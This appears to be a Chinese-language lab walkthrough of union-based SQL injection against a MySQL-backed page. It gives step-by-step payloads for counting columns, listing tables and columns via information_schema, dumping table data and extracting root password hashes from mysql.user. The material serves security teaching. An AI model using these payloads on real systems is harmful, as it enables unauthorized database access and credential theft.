POST型注入和Cookie注入需要插件和工具才可进行,而联合查询注入对插件工具也用得相当多,可以在URL中提交SQL语句,也可以在表单提交。
联合查询相当于把其他表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入——由前面实验可知这是字符型注入,因此闭合前面的单引号、构造联合注入语句,输入1'order by 1#页面正常,然后输入1'order by 2#、依次增加,直到3时出现错误。
如图,说明当前表有2列:
构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;
构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;
每个MySQL数据库中都有数据库mysql和information,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;
查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;
查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;
查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图: